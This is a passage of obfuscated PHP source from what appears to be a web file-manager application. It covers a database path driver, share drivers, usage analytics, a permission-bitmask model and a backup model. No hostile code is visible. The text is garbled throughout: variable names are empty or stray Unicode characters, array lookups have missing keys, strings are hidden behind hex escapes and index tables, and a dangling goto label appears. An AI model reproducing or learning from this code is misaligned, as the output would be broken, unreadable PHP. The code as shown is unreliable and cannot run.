$[$ߊ[401]], $, $[$ߊ[78]]); return $ղԺ ? $this->getPathOuter($ղԺ) : !1; } public function moveFile($⾞, $̻, $ֈ = REPEAT_REPLACE) { $΍ς =& $_SERVER[]; $ު = $this->parse($̻); $ݣ = $this->model->move($⾞, $ު[$΍ς[401]], $ֈ, $ު[$΍ς[78]]); return $ݣ ? $this->getPathOuter($ݣ) : !1; } public function copy($ΐ, $Ĥ, $ = REPEAT_REPLACE, $© = false) { $ = $this->parse($Ĥ); $ = $this->model->copy($ΐ, $[$_SERVER[][401]], $, $©); return $ ? $this->getPathOuter($) : !1; } public function moveSameAllow() { } public function move($盝, $˨, $á = REPEAT_REPLACE, $˧ = false) { $ = $this->parse($˨); $ܰ = $this->model->move($盝, $[$_SERVER[][401]], $á, $˧); return $ܰ ? $this->getPathOuter($ܰ) : !1; } public function remove($ѭ, $Ӏ = true) { return $this->model->remove($ѭ, $Ӏ); } public function rename($įݶ, $) { $ꏾ = $this->model->rename($įݶ, $); return $ꏾ ? $this->getPathOuter($įݶ) : $ꏾ; } public function size($˃¿) { $ = $this->infoSimple($˃¿); return $ ? $[$_SERVER[][80]] : 0; } public function infoSimple($ܻ) { return $this->model->sourceInfo($ܻ); } public function info($հͫ) { return $this->infoParse($հͫ); } public function infoAuth($ž) { return $this->infoParse($ž, !1, !0); } public function infoWithChildren($ʹȪ) { return $this->infoParse($ʹȪ, !0); } protected function infoParse($, $ = false, $惨 = false) { if (!$) { return $this->model->pathInfo($, $惨); } return $this->model->pathInfoMore($); } public function infoFull($) { $אƋ =& $_SERVER[]; $׭鉷 = explode($אƋ[8], $); $Ȩ = implode($אƋ[8], array_splice($׭鉷, 1)); return $this->model->pathInfoByPath($׭鉷[0], $Ȩ); } public function hashSimple($) { $ =& $_SERVER[]; $義 = $this->infoWithChildren($); return $義[$[163]][$[170]]; } public function hashMd5($) { $ĸ =& $_SERVER[]; $ȹ = $this->infoWithChildren($); return $ȹ[$ĸ[163]][$ĸ[169]]; } public function exist($ɖ) { $ =& $_SERVER[]; $ = $this->parse($ɖ); if (!$[$[78]]) { return $this->isFile($ɖ) || $this->isFolder($ɖ); } $Ų = array($[402] => $[$[401]], $[32] => $[$[78]]); $׊ = $this->model->where($Ų)->find(); return $׊ ? !0 : !1; } public function isFile($Յ) { $ɮЁ =& $_SERVER[]; $Ќ՞ = $this->infoSimple($Յ); return $Ќ՞ && $Ќ՞[$ɮЁ[411]] == $ɮЁ[89] ? !1 : !0; } public function isFolder($ן) { $ =& $_SERVER[]; $ = $this->infoSimple($ן); return $ && $[$[411]] == $[89] ? !0 : !1; } public function listPath($, $Ҭ = false) { $ӪŎ =& $_SERVER[]; if ($ == $ӪŎ[12]) { return !1; } $ƚ = array($ӪŎ[402] => $); if ($Ҭ) { return $this->model->listSource($ƚ, -1); } return $this->model->listSource($ƚ); } public function has($, $ = false, $г = null) { $ =& $_SERVER[]; $ = $this->infoWithChildren($); if ($) { return array($[203] => $[$[203]], $[202] => $[$[202]]); } return $г ? $[$[203]] : $[$[202]]; } public function listAll($) { $ = IO::info($this->pathParse[$_SERVER[][78]]); if (!$) { return array(); } return $this->model->listAll($); } public function getContent($) { return $this->model->getContent($); } public function setContent($ō, $ = '') { return $this->model->setContent($ō, $); } public function fileSubstr($ȭ, $, $) { return $this->model->fileSubstr($ȭ, $, $); } public function download($㼦, $ê = '') { $ݼ̻ = get_path_father($ê); $Ǜ = get_path_this($ê); $ = $this->model->fileInfoGet($㼦); $Ƶ = IO::copy($[$_SERVER[][78]], $ݼ̻, !1, $Ǜ); return $Ƶ; } public function setModifyTime($, $顴 = '') { $ =& $_SERVER[]; if (!$) { return; } $this->model->where(array($[418] => $))->save(array($[86] => $顴)); } public function upload($, $è, $ = false, $֨ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ᵻ = $this->parse($); $ѭ = $this->model->addFile($ᵻ[$[401]], $è, $ᵻ[$[78]], $, $֨); return $this->getPathOuter($ѭ); } public function uploadFileByID($Ґ, $۳, $) { $ =& $_SERVER[]; $ = $this->parse($Ґ); $ = $this->model->addFileByFileID($[$[401]], $۳, $[$[78]], $); return $this->getPathOuter($); } public function addFileByRemote($, $Ű, $ި = array(), $ = '', $ŭ) { $ܤ =& $_SERVER[]; $Ū = $this->parse($); $ = empty($) ? $Ū[$ܤ[78]] : $; $ = $this->model->addFileByRemote($Ū[$ܤ[401]], $Ű, $, $ި, $ŭ); return $this->getPathOuter($); } public function uploadLink($՜, $ = 0) { $ =& $_SERVER[]; $룲 = $this->parse($՜); $ = _get($GLOBALS[$[7]], $[1314]); $˫ = _get($GLOBALS[$[7]], $[1315]); $՜ = Model($[603])->createFileName($룲[$[78]], $, $˫); return IO::uploadLink($՜, $); } public function fileNameAuto($ɚٖ, $, $ = REPEAT_REPLACE, $ҥ = false) { return $this->model->fileNameAuto($ɚٖ, $, $, $ҥ); } public function fileNameExist($, $) { return $this->model->fileNameExist($, $); } protected function _fileOut($, $ó = false, $֝ = false, $ۑ = '', $ǎ = false) { $׃ =& $_SERVER[]; $͋ = $this->model->sourceInfo($); if ($͋[$׃[411]] == $׃[89]) { header($׃[1316]); die; } $֍ = $this->model->fileInfoGet($); $ۑ = $֍[$׃[169]] ? $֍[$׃[169]] : $ۑ; $ = isset($GLOBALS[$׃[1317]]) ? $GLOBALS[$׃[1317]] : $͋[$׃[32]]; if ($ǎ) { return IO::fileOutServer($֍[$׃[78]], $ó, $, $ۑ); } IO::fileOut($֍[$׃[78]], $ó, $, $ۑ); } public function fileOut($˖, $֫ = false, $՞ = false, $ڔ = '') { $this->_fileOut($˖, $֫, $՞, $ڔ); } public function fileOutServer($͢ܐ, $ǂͧ = false, $ޚ = false, $ߍ˺ = '') { $this->_fileOut($͢ܐ, $ǂͧ, $ޚ, $ߍ˺, !0); } protected function _fileOutImage($ڳ, $㡨 = 250) { $ߐ =& $_SERVER[]; $֎ = $this->model->pathInfo($ڳ); if ($֎[$ߐ[411]] == $ߐ[89]) { show_json($ߐ[1318] . $ڳ, !1); } $¥ = $this->model->fileInfoGet($ڳ); $¥[$ߐ[32]] = $֎[$ߐ[32]]; $¥[$ߐ[162]] = $֎[$ߐ[162]]; $GLOBALS[$ߐ[1317]] = $¥[$ߐ[32]]; $GLOBALS[$ߐ[161]] = $¥; IO::fileOutImage($¥[$ߐ[78]], $㡨); } public function fileOutImage($ҵ, $φؔ = 250) { $this->_fileOutImage($ҵ, $φؔ); } public function fileOutImageServer($ϡ, $ݩ = 250) { $this->_fileOutImage($ϡ, $ݩ); } public function link($, $ = '') { $ެ = $this->model->fileInfoGet($); return IO::link($ެ[$_SERVER[][78]], $); } protected function parse($) { $ =& $_SERVER[]; if (strstr($, $[8]) === !1) { return array($[420] => intval($), $[78] => $[12], $[1313] => array()); } $㮅 = explode($[8], trim($, $[8])); if (count($㮅) < 2) { show_tips(clear_html($) . $[1319]); } return array($[420] => intval($㮅[0]), $[78] => $㮅[1], $[1313] => array_slice($㮅, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1312]); } public function getPathOuter($³) { $쨿 =& $_SERVER[]; if (!$³) { return $³; } $Ŭ = $this->parse($³); return trim(KodIO::makeShare($this->pathParse[$쨿[401]], $Ŭ[$쨿[401]]), $쨿[8]); } protected function infoParse($ʖ, $ = false, $ԇ = false) { $ =& $_SERVER[]; $㇊ = $this->pathParse[$[401]]; $Ä = trim($this->pathParse[$[1154]], $[8]); return Action($[1320])->sharePathInfo($㇊, $Ä, $); } public function infoFull($Č܎) { $戦 =& $_SERVER[]; $ڱߏ = explode($戦[8], trim($Č܎, $戦[8])); if (count($ڱߏ) > 1) { $ = implode($戦[8], array_splice($ڱߏ, 1)); $© = $this->model->pathInfoByPath($ڱߏ[0], $); if (!$©) { return !1; } $this->pathParse[$戦[1154]] = $©[$戦[403]]; } return $this->infoParse($Č܎); } public function listAll($) { $ =& $_SERVER[]; $ = IO::info($this->pathParse[$[78]]); if (!$) { return array(); } $͋ = $this->model->listAll($); $ = Model($[595])->getInfo($[$[488]]); $ = Action($[1320]); foreach ($͋ as &$) { check_abort(); $[$[87]] = $->_shareItemeParse($[$[87]], $); } unset($); return $͋; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($쉅) { $this->pathParse = $쉅; $this->model = Model($_SERVER[][1312]); } protected function infoParse($̑, $ȧ = false, $ = false) { $ࢊ =& $_SERVER[]; return Action($ࢊ[1160])->sharePathInfo($this->pathParse[$ࢊ[78]], !0, $ȧ); } public function listPath($, $ȅ = false) { $ =& $_SERVER[]; $ = parent::listPath($, $ȅ); if (!$) { return $; } if (is_array($[$[1321]])) { $[$[1321]] = Action($[1160])->shareItemInfo($[$[1321]]); } foreach ($ as $홤 => $) { if (!in_array($홤, array($[76], $[77]))) { continue; } foreach ($ as $̱ => $) { $[$홤][$̱] = Action($[1160])->shareItemInfo($); } } return $; } public function listAll($) { $ш =& $_SERVER[]; $ = IO::info($this->pathParse[$ш[78]]); if (!$) { return array(); } $ȹ = $this->model->listAll($); foreach ($ȹ as &$ב) { $ב[$ш[87]] = Action($ш[1160])->shareItemInfo($ב[$ш[87]]); } unset($ב); return $ȹ; } } goto C; dז: class AnalysisModel extends ModelBaseLight { public function init($) { $ڗ =& $_SERVER[]; $ѳ = array($ڗ[594] => array($ڗ[33] => $ڗ[1739], $ڗ[268] => array($ڗ[219], $ڗ[758], $ڗ[1740], $ڗ[1741])), $ڗ[1742] => array($ڗ[33] => $ڗ[1743], $ڗ[268] => array($ڗ[219], $ڗ[756], $ڗ[1744], $ڗ[1745], $ڗ[1746]))); if (!isset($ѳ[$])) { return !1; } $this->optionType = $ѳ[$][$ڗ[33]]; $this->field = $ѳ[$][$ڗ[268]]; return !0; } public function listData($؇ܘ = false, $ʝշ = "\155\x6f\x64\x69\x66\x79\124\x69\155\x65", $ي = false) { return parent::listData($؇ܘ, $ʝշ, $ي); } public function trendList($) { $Ӗ =& $_SERVER[]; $ = $this->listData(); if ($) { $ = end($); $ = date($Ӗ[1747], strtotime($Ӗ[1748])); if ($[$Ӗ[219]] == $) { return $; } $ = strtotime($[$Ӗ[219]]); } if (!isset($)) { $ꖎ = $ == $Ӗ[594] ? $Ӗ[538] : $Ӗ[818]; $ = Model($ꖎ)->min($Ӗ[193]); } $®ȏ = $Ӗ[1749] . ucfirst($); $攚 = $this->dateList($); foreach ($攚 as $) { $this->{$®ȏ}($); } return $this->listData(); } private function dateList($¯) { $ =& $_SERVER[]; $ = $¯; $Ĕ = strtotime($[1748]); $ = array(); while ($ <= $Ĕ) { $[] = date($[1747], $); $ = strtotime($[1750], $); } return $; } public function _recordUser($ć = '') { $ =& $_SERVER[]; $鋲 = strtotime(date($[1751], strtotime($ć))); $ = strtotime(date($[1752], strtotime($ć))); $ͯ = array($[193] => array($[1000], $)); $ = Model($[538])->where($ͯ)->count($[1642]); $ͯ[$[193]] = array($[328], array($鋲, $)); $𿉂 = Model($[538])->where($ͯ)->count($[1642]); $ͯ[$[33]] = $[1753]; $ל = Model($[1754])->where($ͯ)->count($[1755]); $ = array($[219] => $ć, $[758] => (int) $, $[1740] => (int) $𿉂, $[1741] => (int) $ל); return $this->insert($); } public function _recordStore($ć = '') { $DžѴ =& $_SERVER[]; $Åۛ = strtotime(date($DžѴ[1752], strtotime($ć))); $ = array($DžѴ[193] => array($DžѴ[1000], $Åۛ)); $ = Model($DžѴ[470])->where($)->sum($DžѴ[80]); $[$DžѴ[411]] = 0; $ҝ = Model($DžѴ[818])->where($)->sum($DžѴ[80]); $[$DžѴ[412]] = 1; $χ = Model($DžѴ[818])->where($)->sum($DžѴ[80]); $[$DžѴ[412]] = 2; $ʿ = Model($DžѴ[818])->where($)->sum($DžѴ[80]); $޳ = array($DžѴ[219] => $ć, $DžѴ[756] => (int) $ҝ, $DžѴ[1744] => (int) $, $DžѴ[1745] => (int) $χ, $DžѴ[1746] => (int) $ʿ); return $this->insert($޳); } public function trend($, $) { $ḃ =& $_SERVER[]; if (!$this->init($)) { return !1; } $ = $this->trendList($); if ($ && $ != $ḃ[1615]) { $ = $[0][$ḃ[219]]; $́ = $this->validDate($, $); $х = array(); $ = array_to_keyvalue($, $ḃ[219]); foreach ($́ as $ه) { if (isset($[$ه])) { $ = $[$ه]; } else { $ = end($); $[$ḃ[219]] = $ه; if ($ == $ḃ[594]) { $[$ḃ[1740]] = $[$ḃ[1741]] = 0; } } $х[] = $; } $ = $х; } $ = array($ḃ[594] => array($ḃ[758] => LNG($ḃ[1756]), $ḃ[1740] => LNG($ḃ[1757]), $ḃ[1741] => LNG($ḃ[1758])), $ḃ[1742] => array($ḃ[756] => LNG($ḃ[1759]), $ḃ[1744] => LNG($ḃ[1760]), $ḃ[1745] => LNG($ḃ[1761]), $ḃ[1746] => LNG($ḃ[1762]))); $Ҫ = array($ḃ[594] => $ḃ[1763], $ḃ[1742] => $ḃ[80]); if (empty($)) { $ه = date($ḃ[1747], strtotime($ḃ[1748])); $汫 = array($ḃ[219] => $ه); foreach ($[$] as $㟇 => $) { $汫[$㟇] = 0; } $[] = $汫; } $ = array(); foreach ($ as $) { if ($ == $ḃ[1742] && $[$ḃ[1744]] > $[$ḃ[756]]) { $[$ḃ[1744]] = $[$ḃ[756]]; } foreach ($[$] as $㟇 => $ޠ) { $ = array($ḃ[219] => $[$ḃ[219]], $ḃ[1539] => $ޠ); $[$Ҫ[$]] = isset($[$㟇]) ? $[$㟇] : 0; $[] = $; } } return $; } public function validDate($τ, $Ԃ) { $ =& $_SERVER[]; $ = date($[1747], strtotime($[1748])); $ = array($); switch ($τ) { case $[1622]: $Ô = mktime(0, 0, 0, date($[1764]), date($[1360]) - date($[1423]) + 7 - 7, date($[1765])); $ѣ = 0; do { $ = date($[1747], $Ô - 3600 * 24 * 7 * $ѣ); $[] = $; $ѣ++; } while ($Ԃ < $); break; case $[1620]: $ѣ = 1; do { $ = date($[1766], strtotime("\x2d\x20{$ѣ}\40\155\157\x6e\x74\150\x73")); $[] = $; $ѣ++; } while ($Ԃ < $); break; case $[1767]: $ = (int) date($[1765], strtotime($Ԃ)); $ڷ⑩ = (int) date($[1765]); if ($ >= $ڷ⑩) { break; } for ($; $ < $ڷ⑩; $++) { $[] = $ . $[1768]; } break; default: break; } if ($Ԃ > end($)) { array_pop($); } sort($); return $; } public function listTable($́) { $ָ = ucfirst($́); return Model($ָ)->listData(); } public function option($ݡ) { $ = $_SERVER[][1769] . ucfirst($ݡ); return $this->{$}(); } private function optionUser() { $ڒ =& $_SERVER[]; $ = Model($ڒ[538])->count($ڒ[1642]); $ŕڮ = Model($ڒ[538])->where($ڒ[1770])->count($ڒ[1642]); $ = intval($GLOBALS[$ڒ[6]][$ڒ[344]][$ڒ[1598]]) / 3600; $Г = strtotime("\x2d{$}\40\x68\157\x75\162\163"); $ = strtotime(date($ڒ[1751])); if ($Г < $) { $Г = $; } $§ = array($ڒ[1771] => array($ڒ[1001], $Г)); $ԇͶ = (int) Model($ڒ[538])->where($§)->count($ڒ[1642]); if (!$ԇͶ) { $ԇͶ = 1; } $§ = array($ڒ[1771] => array($ڒ[1001], $)); $ܡ͢ = Model($ڒ[538])->where($§)->count($ڒ[1642]); return array($ڒ[752] => (int) $, $ڒ[1772] => (int) ($ - $ŕڮ), $ڒ[1773] => (int) $ŕڮ, $ڒ[1774] => (int) $ܡ͢, $ڒ[1775] => $ԇͶ); } private function optionFile() { $ =& $_SERVER[]; $Ź = $this->sourceSize(); $ = $Ź[$[80]]; $궇 = $Ź[$[1744]]; $މ = Model($[818])->where(array($[411] => 0))->count($[403]); $ = array($[411] => 0, $[193] => array($[1001], strtotime(date($[1751])))); $ = Model($[818])->where($)->sum($[80]); $閃 = Model($[818])->where($)->count($[403]); return array($[756] => $, $[1744] => $궇, $[1776] => $ - $궇, $[1777] => (int) $, $[758] => (int) $މ, $[1778] => (int) $閃); } private function optionAccess() { $׺ =& $_SERVER[]; return array($׺[752] => $this->typeLogCnt(), $׺[108] => $this->typeLogCnt($׺[108]), $׺[450] => $this->typeLogCnt($׺[450]), $׺[1779] => $this->typeLogCnt($׺[1779]), $׺[1780] => $this->typeLogCnt($׺[1780]), $׺[594] => $this->typeLogCnt($׺[12], $׺[1755])); } private function typeLogCnt($φ = '', $ц = "\151\x64") { $򃲍 =& $_SERVER[]; $͗ܰ = array($򃲍[108] => array($򃲍[1781], $򃲍[1782]), $򃲍[450] => array($򃲍[1783], $򃲍[1784]), $򃲍[1779] => array($򃲍[1785], $򃲍[1786], $򃲍[1787]), $򃲍[1780] => array($򃲍[1788], $򃲍[1789]), $򃲍[1790] => array($򃲍[1791], $򃲍[1792], $򃲍[1793])); $ = strtotime(date($򃲍[1751])); $֖ = array($򃲍[193] => array($򃲍[1001], $)); if ($φ) { $֖[$򃲍[33]] = array($򃲍[7], $͗ܰ[$φ]); } $ = Model($򃲍[1754])->where($֖)->count($ц); return (int) $; } private function optionServer() { $О =& $_SERVER[]; $ = $this->diskDriver(); $ʧʱ = KodIO::defaultDriver(); $ۋ = array($О[810] => $ʧʱ[$О[401]]); $ = Model($О[470])->where($ۋ)->sum($О[80]); $ҵ = explode($О[53], $_SERVER[$О[140]]); $ = $ҵ[0]; $ڛ = $GLOBALS[$О[6]][$О[21]]; $팰 = $ڛ[$О[963]]; if ($팰 == $О[951]) { $ = explode($О[1257], $ڛ[$О[962]]); $팰 = $[0]; } if ($팰 == $О[899] || $팰 == $О[797]) { $ = Model()->db()->query($О[1794]); $ɀ = $[0] && isset($[0][$О[1538]]) ? $[0][$О[1538]] : 0; $팰 = $О[1795] . ($ɀ ? $О[8] . $ɀ : $О[12]); } $ٗ = $GLOBALS[$О[6]][$О[344]][$О[820]]; return array($О[1796] => $ ? $[$О[1797]] : 0, $О[1798] => $ ? $[$О[1799]] : 0, $О[1800] => (int) $ʧʱ[$О[1797]] * 1024 * 1024 * 1024, $О[1801] => (int) $, $О[1802] => ucfirst($), $О[1803] => $О[1804] . PHP_VERSION, $О[1805] => phpBuild64() ? 64 : 32, $О[751] => str_replace($О[1117], $О[979], $팰), $О[344] => ucfirst($ٗ), $О[32] => $_SERVER[$О[1806]]); } private function diskDriver() { $ =& $_SERVER[]; $ = $[8]; $ӈ = $GLOBALS[$[6]][$[1273]] == $[1274]; if ($ӈ) { $ = $[1807]; if (function_exists($[1808])) { exec($[1809], $); $ = $[1] . $[8]; } } if (!file_exists($)) { return; } $ӆ = @disk_total_space($); $܀߽ = $ӆ - @disk_free_space($); return array($[1797] => $ӆ, $[1799] => $܀߽); } public function fileChart($) { $֧ =& $_SERVER[]; if (isset($[$֧[1642]])) { return Model($֧[818])->userFileTypeProfile($[$֧[1642]]); } if (isset($[$֧[1810]])) { return Model($֧[818])->groupFileTypeProfile($[$֧[1810]]); } $ = $this->sourceSize(); $Ბ = array($֧[498] => 0, $֧[412] => 1); $얶 = Model($֧[818])->where($Ბ)->sum($֧[80]); $Ბ[$֧[412]] = 2; $јŁ = Model($֧[818])->where($Ბ)->sum($֧[80]); return array($֧[756] => $[$֧[80]], $֧[1744] => $[$֧[1744]], $֧[1745] => (int) $얶, $֧[1746] => (int) $јŁ); } private function sourceSize() { $ =& $_SERVER[]; $ = Model($[818])->where(array($[411] => 0))->sum($[80]); $ퟑ = Model($[470])->sum($[80]); if ($ퟑ > $) { $ퟑ = $; } return array($[80] => (int) $, $[1744] => (int) $ퟑ); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ =& $_SERVER[]; $ = array(array($[421] => LNG($[1811]), $[1812] => $[1813], $[1814] => 1, $[1815] => 1, $[1816] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($[421] => LNG($[1817]), $[1812] => $[1818], $[1814] => 2, $[1815] => 1, $[1816] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($[421] => LNG($[1819]), $[1812] => $[1820], $[1814] => 3, $[1815] => 1, $[1816] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($[421] => LNG($[1821]), $[1812] => $[1822], $[1814] => 4, $[1815] => 1, $[1816] => self::AUTH_SHOW | self::AUTH_VIEW), array($[421] => LNG($[1823]), $[1812] => $[1824], $[1814] => 5, $[1815] => 1, $[1816] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($[421] => LNG($[1825]), $[1812] => $[1826], $[1814] => 6, $[1815] => 1, $[1816] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($[421] => LNG($[1827]), $[1812] => $[1828], $[1814] => 7, $[1815] => 1, $[1816] => 0)); return $; } public static function authCheck($, $) { $ = intval($); if ($GLOBALS[$_SERVER[][505]]) { return !0; } if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $); } public static function authCheckShow($̾) { return self::authCheck($̾, self::AUTH_SHOW); } public static function authCheckView($ȷ) { return self::authCheck($ȷ, self::AUTH_VIEW); } public static function authCheckDownload($̘) { return self::authCheck($̘, self::AUTH_DOWNLOAD); } public static function authCheckUpload($٨) { return self::authCheck($٨, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($) { return self::authCheck($, self::AUTH_REMOVE); } public static function authCheckShare($˛) { return self::authCheck($˛, self::AUTH_SHARE); } public static function authCheckComment($݌) { return self::authCheck($݌, self::AUTH_COMMENT); } public static function authCheckEvent($) { return self::authCheck($, self::AUTH_EVENT); } public static function authCheckRoot($) { return self::authCheck($, self::AUTH_ROOT); } public static function authCheckAction($·谶, $) { $ۓ =& $_SERVER[]; $胊쓩 = array($ۓ[1829] => self::AUTH_VIEW, $ۓ[1184] => self::AUTH_DOWNLOAD, $ۓ[108] => self::AUTH_UPLOAD, $ۓ[1780] => self::AUTH_EDIT, $ۓ[1779] => self::AUTH_REMOVE, $ۓ[1790] => self::AUTH_SHARE, $ۓ[349] => self::AUTH_COMMENT, $ۓ[1630] => self::AUTH_EVENT, $ۓ[1830] => self::AUTH_ROOT); if (!isset($胊쓩[$])) { return; } $Ĥ = $胊쓩[$]; $·谶 = intval($·谶); if ($·谶 <= 0) { return !1; } if (($·谶 & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($·谶 & $Ĥ); } public static function authDisable($쒵, $މ) { if (intval($쒵) <= 0) { return 0; } return intval($쒵) & ~$މ; } public $optionType = "\x53\x79\163\164\145\155\x2e\163\x6f\x75\162\x63\x65\x41\x75\x74\150\x4c\x69\163\x74"; public $field = array("\x6e\141\155\x65", "\141\165\x74\x68", "\154\x61\x62\x65\154", "\x64\151\163\x70\x6c\141\x79", "\163\x79\x73\x74\145\155", "\x73\x6f\162\164"); public function initData() { $ѝ = $this->authDefault(); foreach ($ѝ as $) { $this->add($); } } public function findAuth($, $) { $ =& $_SERVER[]; $ڒ = parent::listData(); foreach ($ڒ as $) { $ = intval($[$[414]]); if ($ <= 0 || $[$[1831]] == 0) { continue; } if (($ & $) != $) { continue; } if (($ & $) != 0) { continue; } return $[$[401]]; } return !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function listData($߁Ҋ = false, $ڞ = "\163\x6f\x72\164", $ = false) { return parent::listData($߁Ҋ, $ڞ, $); } public function update($͒, $) { $ =& $_SERVER[]; $ = parent::listData($͒); $г = $this->findByName($[$[32]]); if (!$ || $г && $г[$[401]] != $[$[401]]) { return !1; } $this->filterAuth($[$[414]]); return parent::update($͒, $); } public function remove($) { $푴ԩ = parent::listData($); if (!$푴ԩ || $푴ԩ[$_SERVER[][1261]]) { return !1; } return parent::remove($); } public function add($Ј = array()) { $٧ҥ =& $_SERVER[]; if ($this->findByName($Ј[$٧ҥ[32]])) { return !1; } $Ē = array($٧ҥ[32] => $٧ҥ[12], $٧ҥ[414] => 1, $٧ҥ[1832] => $٧ҥ[1820], $٧ҥ[1831] => 1, $٧ҥ[1261] => 0, $٧ҥ[1833] => 0); $Ј = array_merge($Ē, $Ј); $Ј[$٧ҥ[1833]] = $this->getSort(); $this->filterAuth($Ј[$٧ҥ[414]]); return parent::insert($Ј); } private function getSort() { $ =& $_SERVER[]; $ = parent::listData(); $渙 = array_to_keyvalue($, $[12], $[1833]); return empty($渙) ? 0 : max($渙) + 1; } private function filterAuth(&$) { if (!$) { return; } $Ҟ嶜 = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ȉÆ = array(); foreach ($Ҟ嶜 as $) { if ($ & $) { $ȉÆ[] = $; } } if (in_array(self::AUTH_ROOT, $ȉÆ)) { $ = array_sum($Ҟ嶜); return; } $ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($ȉÆ as $) { if (isset($[$])) { $ȉÆ = array_merge($ȉÆ, $[$]); } } $ȉÆ[] = self::AUTH_SHOW; $ = array_sum(array_unique($ȉÆ)); } public function sort($뱃, $ɓ) { return parent::update($뱃, $ɓ); } } class BackupModel extends ModelBaseLight { public $optionType = "\123\171\x73\x74\x65\155\56\x62\x61\143\x6b\x75\160\x4c\151\x73\x74"; public $field = array("\151\157", "\156\141\x6d\145", "\163\x74\x61\x74\x75\163", "\143\157\156\164\145\x6e\x74", "\155\x61\x6e\x75\x61\x6c", "\x72\x65\x73\x75\154\x74", "\164\151\155\x65\x46\162\157\x6d", "\164\151\155\x65\124\x6f"); public function config() { $稯 =& $_SERVER[]; $ = Model($稯[763])->get($稯[773]); $ = json_decode($, !0); $ = is_array($) ? $ : array(); if (!isset($[$稯[748]])) { $[$稯[748]] = $稯[89]; } unset($[$稯[1612]]); Action($稯[1834])->taskInit(); Model($稯[1611])->cacheClear(); $쒋 = $稯[1835]; $ = Model($稯[1836])->findByKey($稯[1630], $쒋); if (!$) { $ = array(); } if (isset($[$稯[196]])) { $[$稯[196]] = json_decode($[$稯[196]], !0); } if (isset($[$稯[196]])) { $[$稯[196]][$稯[1615]] = $[$稯[196]]; unset($[$稯[196]]); } return array_merge($, $); } public function listData($ڭ = false, $ = "\x6d\x6f\x64\x69\x66\171\124\x69\155\145", $ = false) { return parent::listData($ڭ, $, !0); } public function lastItem() { $܊ = $this->listData(); return !empty($܊[0]) ? $܊[0] : null; } public function kill($ύ) { $ת =& $_SERVER[]; $Ӂ = $this->listData($ύ); if (!$Ӂ || empty($Ӂ[$ת[32]])) { return !0; } Task::kill($ת[772]); Task::kill($ת[793]); Task::kill($ת[802]); $ = $Ӂ[$ת[32]]; $ = TEMP_FILES . $ת[771] . $ . $ת[8]; IO::remove($, !1); return $this->remove($ύ); } public function remove($) { $Ռ = $this->listData($); if (!$Ռ) { return !0; } return $this->backupRemove($Ռ); } private function backupRemove($ۨ) { parent::remove($ۨ[$_SERVER[][401]]); $ = $this->backupPath($ۨ); IO::remove($, !1); return !0; } private function backupPath($) { $פ =& $_SERVER[]; $ = $[$פ[32]]; $ᄯ = Model($פ[763])->get($פ[764]); $ = substr(md5($פ[765] . $ᄯ . $), 0, 8); return "\173\151\157\x3a{$[$פ[745]]}\x7d\57\144\x61\x74\141\x62\x61\163\x65\x2f\x62\141\x63\x6b\x75\160\57" . $ . $פ[11] . $; } public function start() { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[90]][$[1837]] != $[89]) { return !0; } $Ђ = $this->config(); if (!$Ђ || $Ђ[$[1612]] != $[89]) { return !1; } $ = $this->process(); foreach ($ as $) { if ($) { return Task::restart($[$[401]]); } } $ = new Backup(); $ö = $->db(); if ($ö) { $ö = $->dbFile(); if ($ö && $Ђ[$[748]] == $[190]) { $ö = $->file(); } } Backup::set(array($[743] => 1, $[496] => time())); return !0; } public function process() { $Ľ =& $_SERVER[]; $̡ = array($Ľ[751] => Task::get($Ľ[772]), $Ľ[755] => Task::get($Ľ[793]), $Ľ[192] => Task::get($Ľ[802])); $Ӛ = !1; foreach ($̡ as &$ޙ) { if ($Ӛ) { $ޙ = !1; continue; } if ($ޙ) { $͏Ģ = intval(_get($ޙ, 